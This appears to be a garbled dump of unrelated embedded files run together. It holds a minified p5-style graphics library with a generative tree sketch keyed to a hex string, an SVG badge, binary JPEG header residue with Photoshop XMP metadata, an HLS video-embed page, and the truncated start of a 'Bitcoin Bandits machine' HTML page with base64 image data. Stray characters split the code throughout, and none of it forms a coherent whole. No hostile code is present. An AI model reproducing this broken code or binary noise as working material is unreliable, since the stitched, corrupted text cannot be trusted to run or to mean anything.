xtSize=e,n._style.textLeading=e},n.textLeading=function(e){n._style.textLeading=e},n.textStyle=function(e){n._style.textStyle=e},n.textAlign=function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)},n.text=function(e,t,r,a){if(!e)return;if(e=e.toString(),n._style.noFill&&n._style.noStroke)return;o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._style.noFill||o.fillText(i[e],t,r,a),n._style.noStroke||o.strokeText(i[e],t,r,a),r+=M
n._style.textLeading},n.textWidth=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).width},n.textAscent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxAscent},n.textDescent=function(e){return o.font=`${n._style.textStyle} ${n._style.textSize}px ${n._style.textFont}`,o.measureText(e).actualBoundingBoxDescent};var C,S=4,E=.5,A=function(e){return.5*(1-Math.cos(e*Math.PI))};n.noiM
se=function(e,t,n){if(t=t||0,n=n||0,null==C){C=new Array(4096);for(var o=0;o<4096;o++)C[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var r,a,i,l,s,u=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-u,d=t-c,p=n-h,y=0,m=.5,g=0;g<S;g++){var v=u+(c<<4)+(h<<8);r=A(f),a=A(d),i=C[4095&v],i+=r*(C[v+1&4095]-i),l=C[v+16&4095],i+=a*((l+=r*(C[v+16+1&4095]-l))-i),l=C[4095&(v+=256)],l+=r*(C[v+1&4095]-l),s=C[v+16&4095],l+=a*((s+=r*(C[v+16+1&4095]-s))-l),y+=(i+=A(p)*(l-i))*m,m*=E,u<<=1,c<<=1,h<<=1,(f*=2)>=1&&(u++,f--)M
,(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return y},n.noiseDetail=function(e,t){e>0&&(S=e),t>0&&(E=t)};const b=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17,e^=e>>13,((e^=e<<5)>>>0)/n)}};let T=b();T.setSeed(),n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;C||(C=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,C[n]=(t>>>0)/4294967295},n.randomSeed=function(e){T.setSeed(e)},n.random=function(e,t){returM
n null==e?T.rand():"number"==typeof e?null!=t?T.rand()*(t-e)+e:T.rand()*e:e[~~(e.length*T.rand())]},n.randomGenerator=function(e){e==n.LCG?T=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rand:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(T=b()),T.setSeed()};var P=new function(){var e,t,n,o=new Array(128),r=new Array(256),a=new Array(128),i=new Array(128),l=new Array(256),s=new Array(256),u=function(){return 4294967296*T.rand()-2147483648},c=function(M
){return.5+2.328306e-10*(u()<<0)};this.SHR3=u,this.UNI=c,this.RNOR=function(){return n=u(),e=127&n,Math.abs(n)<o[e]?n*a[e]:function(){for(var t,r,l,s,h=3.44262;;){if(t=n*a[e],0==e){do{l=c(),s=c(),t=.2904764*-Math.log(l),r=-Math.log(s)}while(r+r<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=u(),e=127&n,Math.abs(n)<o[e])return n*a[e]}}()},this.REXP=function(){return(t=u()>>>0)<o[e=255&t]?t*l[e]:function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],s[e]+c()*(s[e-M
1]-s[e])<Math.exp(-n))return n;if((t=u())<r[e=255&t])return t*l[e]}}()},this.zigset=function(){var e,t,n=2147483648,u=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,y=.003949659822581572;for(e=f/Math.exp(-.5*c*c),o[0]=Math.floor(c/e*n),o[1]=0,a[0]=e/n,a[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),a[t]=c/n;for(e=y/Math.exp(-d),r[0]=Math.floor(d/e*u),r[1]=0,l[0]=e/u,l[255]=d/u,M
s[0]=1,s[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(y/d+Math.exp(-d)),r[t+1]=Math.floor(d/p*u),p=d,s[t]=Math.exp(-d),l[t]=d/u}};P.hasInit=!1,n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e},n.randomExponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()},n.print=console.log,n.cursor=function(e,t,o){let r="";e.includes(".")&&(e=`url("${e}")`,r=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+r},n.noCursor=function(){n.canvas.style.cursor="none"M
},n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then((function(e){t.srcObject=e})),t.style.position="absolute",t.style.opacity=1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let D=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of D){let t="_"+e+"Fn";n[t]=function(M
){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(r=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),_(),a=!0,n.push(),n._drawFn(),n.pop(),++n.frameCount}function k(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,r=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/r,id:e.identifier}}function O(){return n._touchStarted.isPlaceHolder&&n._touchMoved.isPlaceHoldM
er&&n._touchEnded.isPlaceHolder}n.noLoop=function(){n._noLoop=!0,r=null},n.loop=function(){n._noLoop=!1,null==r&&z()},n.redraw=function(){z()},n.frameRate=function(e){n._frameRate=e},setTimeout((function(){n._preloadFn(),c=window.performance.now(),function e(){if(s>0)return setTimeout(e,10);n._setupFn(),z()}()}),1),n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)},n.canvas.onmousedown=function(e){n.pM
mouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)},n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)},n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1},window.addEventListener("keydown",(funM
ction(e){n.keyIsPressed=!0,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)})),window.addEventListener("keyup",(function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,u[n.keyCode]=!1,n._keyReleasedFn(e)})),n.keyIsDown=function(e){return!!u[e]},n.canvas.ontouchstart=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||eM
.preventDefault()),n._touchStartedFn(e)||e.preventDefault()},n.canvas.ontouchmove=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()},n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(k),O()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPM
ressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()},n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPermission),n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then((e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then((e=>{"granted"==e&&(n.hasSensorPermissM
ion=!0)})).catch(alert)})).catch(alert)},window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,n.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.reM
lRotationZ=n.rotationZ},window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13]M
,e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]M
*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e),0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}},n.year=function(){return(new Date).getFullYear()},n.day=functionM
(){return(new Date).getDay()},n.hour=function(){return(new Date).getHours()},n.minute=function(){return(new Date).getMinutes()},n.second=function(){return(new Date).getSeconds()},n.millis=function(){return window.performance.now()-c}}(e)}function t(){let e=l(0,1);return e+=.618033988749895,e%=1,color(floor(360*e),i(10,100),i(10,100))}function n(e){e.sort((function(e,t){return e.width>t.width?-1:e.width<t.width?1:0}))}function o(e,t,n,o,r,a,i,s,u){let c=[];for(let h=e;h<t;h+=s)c.push({start:createVector(h,r),end:creM
ateVector(h,r+a*(1-l(0,i))),width:n*(1-l(0,o)),color:u});return c}function r(e,t,n,o,a,s,u){let c=createVector(e.x+t*cos(n),e.y+t*sin(n)),h=[{start:e,end:c,width:o,color:s[i(0,s.length-1)]}];if(u<i(6,12)){let e=t/l(1.3,1.6),i=o/l(1.1,1.6);h.push(...r(c,e,n+a,i,a,s,u+1)),h.push(...r(c,e,n-a,i,a,s,u+1))}return h}function a(e){for(let t=0;t<e.length;t++){let n=e[t].width;stroke(e[t].color),strokeWeight(.9*n),line(e[t].start.x,e[t].start.y,e[t].end.x,e[t].end.y)}}function i(e,t){return e=Math.ceil(e),t=Math.floor(t),MaM
th.floor(c()*(t-e+1))+e}function l(e,t){return c()*(t-e)+e}function s(e,t,n,o){return function(){var r=(e>>>=0)+(t>>>=0)|0;return e=t^t>>>9,t=(n>>>=0)+(n<<3)|0,n=(n=n<<21|n>>>11)+(r=r+(o=(o>>>=0)+1|0)|0)|0,(r>>>0)/4294967296}}function u(e){for(var t=0,n=1779033703^e.length;t<e.length;t++)n=(n=Math.imul(n^e.charCodeAt(t),3432918353))<<13|n>>>19;return function(){return n=Math.imul(n^n>>>16,2246822507),n=Math.imul(n^n>>>13,3266489909),(n^=n>>>16)>>>0}}"object"==typeof exports&&"undefined"!=typeof module&&(module.expoM
rts=e),new e("global");let c,h="m/71233/0/1/1",f="03cf024a3a10255fbd8aba918397e06b466ed6d6eb56d9c3f7d915726a68d50ec3";function setup(){createCanvas(windowWidth,windowHeight),colorMode(HSB,360,100,100);let e=u(f.slice(2));c=s(e(),e(),e(),e());let d=i(2,6),p=[];for(let e=0;e<d-1;e++)p.push(t());let y,m,g=p[i(0,p.length-1)];do{y=t(),m=Math.abs(hue(y)-hue(g)),m+=Math.abs(saturation(y)-saturation(g)),m+=Math.abs(brightness(y)-brightness(g))}while(m<180);background(y);for(let e=0;e<=width;e+=i(0,15))for(let t=0;t<=heightM
;t+=i(0,15)){let n=i(10,20);push(),translate(e,t),rotate(l(0,2*PI)),beginShape(),noStroke(),fill(hue(y)+i(-2,2),saturation(y)+i(-2,2),brightness(y)+i(-2,2));for(let e=0;e<2*PI;e+=.1){let t=cos(e)*n,o=sin(e)*n;vertex(t,o)}endShape(CLOSE),pop()}let v=l(.1,.6),M=(height+width)/150,_=(height+width)/50,x=i(M,_),w=.7+(x-M)/(_-M)*(.9-.7),R=i((height+width)/14,(height+width)/8),I=o(0,width,i(x/4,x/2),l(.2,1),height,-x*l(.5,1.5),l(.2,1),i(x/4,x/2),g),C=r(createVector(width/2,height),R,-PI/2,x,v,p,0);n(C),n(I);let S=(width+hML
eight)/15;stroke(g),strokeWeight(S/50),noFill(),ellipse(width-S,S,S,S),fill(g),noStroke(),ellipse(width-S,S,S*w,S*w),a(C,!1),a(I,!1),textFont("Courier New");let E=(width+height)/150;textSize(E),strokeWeight(1),stroke(g),textStyle(NORMAL);let A=h.slice(2).split("/");for(let e=0;e<A.length;e++)text("/"+A[e],4,E+e*E)}</script></html>h!
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=
=)#)==================================================
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
"!&+7/&)4)!"0A149;>>>%.DIC<H7=>;
;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
XMP DataXMP<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocuM
mentID="xmp.did:351fd3a8-277a-4d06-9ea7-d545401347e7" xmpMM:DocumentID="xmp.did:6669541B999D11EBB7849762D5BCE03A" xmpMM:InstanceID="xmp.iid:6669541A999D11EBB7849762D5BCE03A" xmp:CreatorTool="Adobe Photoshop 22.3 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4e1705d8-7a63-4a5a-9f25-d588fbaf2b86" stRef:documentID="xmp.did:351fd3a8-277a-4d06-9ea7-d545401347e7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('&%$#"!
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>Embedded Video</title>
<script src="https://cdn.jsdelivr.net/npm/hls.js@latest"></script>
<video id="my-player" controls style="width: 100%; max-width: 500px" autoplay muted></video>
  const videoEl = document.querySelector("#my-player");
  const src = "https://www.mediaserver.express/live/bgSeXqbn/index.m3u8";
  if (videoEl.canPlayType("application/vnd.apple.mpegurl")) {
    // Some browerM7
s (safari and ie edge) support HLS natively
    videoEl.src = src;
  } else if (Hls.isSupported()) {
    const hls = new Hls();
    hls.loadSource(src);
    hls.attachMedia(videoEl);
    console.error("This is a legacy browser that doesn't support MSE");
text/plain;charset=utf-8
!22222222222222222222222222222222222222222222222222
                                                                            M
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
b@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
h

K`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
0
[7k

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A

l

0Px@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@A
                                                                                                                                                                                                                                                                                     M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L

text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAARyElEQVR4nO3df4xl5VkH8HcRsnYXxhm6yK/W3ekGZNKWiBRJXNeuS3RMkAGiTeOPVoGINAUMxpAm4JogmzRIpAKNiqGrpWqaSGgg/LEkrBCkkdBtTeM6FLMMW+lidFvWBbYSqvjHcs89s3POzj33nnvOc+/9fP7Zd8+ce+7Ljzx55nvf971rtswvvJMACOekticAQDEFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogKAUaICgFGiAoBRogqJPbngBxPbv70banQE22M
zC+0PQX6oIMGCEqBBghKxEFplPHRqx/Pxk8/cnk2fvP2Y3+ue1/x8+YevK/n9947f1M2buJ5+Wf18t6raeJ5/T4rpZTW3ND/a2mfDhogKAUaICgRx4QpijPO2byjhZkAq9FBAwSlQAMEJeIYU2UrM0Yxzli8rrs6omhFR/7nkUVfQUI8OmiAoHTQY2CSPvhruluusgYb6qaDBghKgQYISsQxQsbpg79hOfpKd1zHh2VFkUq/sceofJhJHDpogKAUaICgRBwBDTPKuPO2Tdn49p0vD/y8JuQjhdUih/x6YBh1OmiAoBRogKBEHC1repPJqMQaZWwcYZLooAGCUqABghJxNGSSNpn0siFjVKKKOudZ9+lzNr6MPx00QFA66JpNUqcMDJcOGiAoBRogKBHHAIa1hnkUt2MD9dNBAwSlQAMEtWbL/MI7bU8iuklamXHehZcWXn/6kcsbngl12jK/0PYU6IMOGiAoBRogKKs4jtP06XJ16Kz6qLrioyjOKIsytm/fXnVaM
NGjPnj2F10Ubo00HDRCUAg0Q1MSu4rAyozjOEGXEJsqYLDpogKAUaICgJmoVRz7WmD7rU9l43foz2pjOUOVjjbKVGUVxzgsHhjYlKjq4/44V10QZk0UHDRDURHXQUbR5Wl2+a546ffx+cxh1H/mpD2fjL33+WAeta55cOmiAoBRogKBEHD2oI5Ioe0a/27SB8aeDBghKgQYISsTRgzrih6JYo65nA+NJBw0QlAINEJSIowV1rwRpywvP39T2FEbCBZfc1/YUGFE6aICgFGiAoEQcIyRCrJFSN9q4dP7KlmcyGp7bfezfl6iDqnTQAEHpoCfY4nXHOrujr6x+78W7dX/QNB00QFAKNEBQIo4eRFt/XJe5B8UWEJkOGiAoBRogKBFHD8Yp1sjbO79yq/a693XH+dUdVnFA83TQAEEp0ABBiTiG6Btvf2fgZzz2niuy8Y4ffH3g5+WJLSA2HTRAUAo0QFAijprUEWcUueL7j3XHuet1RB+rncWRX9FhUws0TwcNEJQOM
uqJhdcpt0BVDbDpogKAUaICgRBxB7Dp8qPD6NdMbhvaena3eZdu786yZhubpoAGCUqABghJx9KDulRvrb1lYefEPv1Dre/RCbAGx6aABglKgAYIScdSkaBVGlRUYw1ytAYwmHTRAUAo0QFAijhJlKzcKV2CkVGkVxpv3PNrPlBqx+IF7svHcS7e0OBNABw0QlAINEJSIoyajvAojH2uks2e715O4A9qkgwYISgddUdMf8JV9tdU3Cr4KK3/vQxXeY1l3/FLVGQLDooMGCEqBBghKxMEy1kFDHDpogKAUaICgRBwtKFqZUfeXAlSxuOUr2Xju2VtKrl/V3ISAlJIOGiAsBRogKBFHTTqxxbLNJEOMLS465dyVF3PvfV66dNVndFZs9BJr5Fd3rHm+wkSBvumgAYJSoAGCmtiIY936M7JxURRRegbGkGKLwsgipWWxRd2KNqKUrdZYfu9Nw5kQsIwOGiCoie2gm9BGVwyMDx00QFAKNEBQIo6K+o0tZu5+OBu/9vu/M
PPA87rxtUza+fefLAz2r7Cuv0qtL2dDJdtA8HTRAUAo0QFATG3EcffO/svFF60+8bbpfh2+8KxvPpM0DPy9v0FhjmVyssWx7d27bt+8qhObpoAGCUqABgprYiIOS0+zy30lYct1pdtAMHTRAUAo0QFAijhJ1bgSJ+t6Fp9mVbEhxmh00TwcNEJQOukTdnWuV7d1Nd+xATDpogKAUaICgRBxDNH3/rW1PoSdOs4OYdNAAQSnQAEGJOCZY57S6ZVu6U26rdy7WyJ9sZ6s3NEMHDRCUAg0QlIijoja3gNcut0qj1nuhIXfc+rvZeMddf9riTIZDBw0QlAINEJSIo6KRjzVy+j3N7oJLjv353G6n2vXigkvua3sKHGdUohEdNEBQCjRAUCKOls3c/XBKqdpxpFH41Z26jErk0DQdNEBQOuia9bJO+vCNd2XjmbR5yDNqxr6Hvlh4/aT335CN57YdPeH9ddxbh3NOeyQbLy2tXP89Oztb+PP89byDr19d4+yYJDpogKAUM
aICgRBw1G6d10v36wT8fzsYnpz/P/eSTA92bv7+Xe/uVjyTWbij6eSr8ef461EEHDRCUAg0QlIhjREU+Ve/kn5geyr393N+Ptw79SeH1ziqNfARStuIjv6LDKg76pYMGCEqBBghKxNGyfrd4R4s1PviJaispqtxf9dmDWrvh9wqvF63SKFvxYUUHddBBAwSlQAMEtWbL/MI7bU+iKc/ufjQbT5/1qWy8bv0ZbUynMeddeGk2fvqRy1f8fMv8QpPTGVmdE9c2b+6enzI1NZWNjxw5ko03btyYjX/mF68c6H3z/9/mjet/t86/515OtavjFLwq79c0HTRAUD4kLBF5nXFV//bN57LxR69+fMXPi7rqlMa3Q6si36F1Oud81zwzM1M4fu2117LxY3/3VymllK741d/qaw5l/x0mrbMuku96I3fC/dJBAwSlQAMEJeIo0W+s0fkKq5Rifo1VPu7oKIo9UooTfax9+41s/NQv3JNSSunHLzwvu3b23b+Ujd865dTC1z30M
4oGUUkpTV23Nrl35r99e9XV1yj83/379qhJ9TFLsMU500ABBKdAAQYk4atL5nsFR/I7BotgjpWrRxzB/hc7HAdueuOXY4Inin5e97hPnv7suuSTWKHvdzp07q063VB2xRi+K/ltY8TGadNAAQSnQAEGJOIJrc8NMleijqRUf/cYETb8umuibXerYsj2OdNAAQSnQAEGJOIKrI9aoOyapY7MLsXWij+irPPqNRkYlUtFBAwSlg65ZxO3dTXy42O9a6qbO5f7qk9emlFLav39/du3AgQPZeHFxMRsfOnQoG3/2yfp6mM9c9n/ZeMOG7vdjzc3NZeP8OdKd0/N++rIv1DaHE1nt3HCap4MGCEqBBghKxFGT6ftvbXsKIeWjj/yv0KPoX3b9Wkoppeevvje7ds30hhU/P9E9FGv6g7rIHwzm6aABglKgAYIScUCPPnTN3x77sySy6Pz8RPdQr1GJKvqlgwYISoEGCErEMcFGfVXFajqbU1LqblCpujklv7mkc73oWi/XM
l1/rvl9+Hqv9czS1aWU1f/MX965+0wT69d+5udbn6aABglKgAYJas2V+4Z22J9GU/OHkq50B0e8JcFVfN3P3wyml5s7wcN4CvSg6xe7wDd1zTO6d6kYcNx+5ecX1C37z+lXf44W/fiAb5+/vXB/kGXXeW/TPd/z1xy86duaMiANgQijQAEFZxVGi3yM6e3nd4RvvysYzaXNf71Ondad/su0pVPbmZ9Z2/7L3ycJ7Xn39+yuunX3ae4ofePFl2XD9Z98aaG51Ofq9L6aU4hyav1qskb/+RO51VaKFvPzr8sqeUXR/lZgkf28vsUb++rDooAGC0kGPgc4Hk/12/dMzm2qbS2Nm39sdH3yp8Jaz01LBxdmS530oG07PfHeQmdXm6PfansFy1brKbjdapWvOy79u6X+6/zJe+PLfn/D+Xu7NW/vxXzk2+OHTs2tVfltIKaXHU/EXUwxKBw0QlAINEJSIYww08Z2DUMeHhP2azcUPqWDNdL/3ppTSW50YxIeEAPRKgQYIM
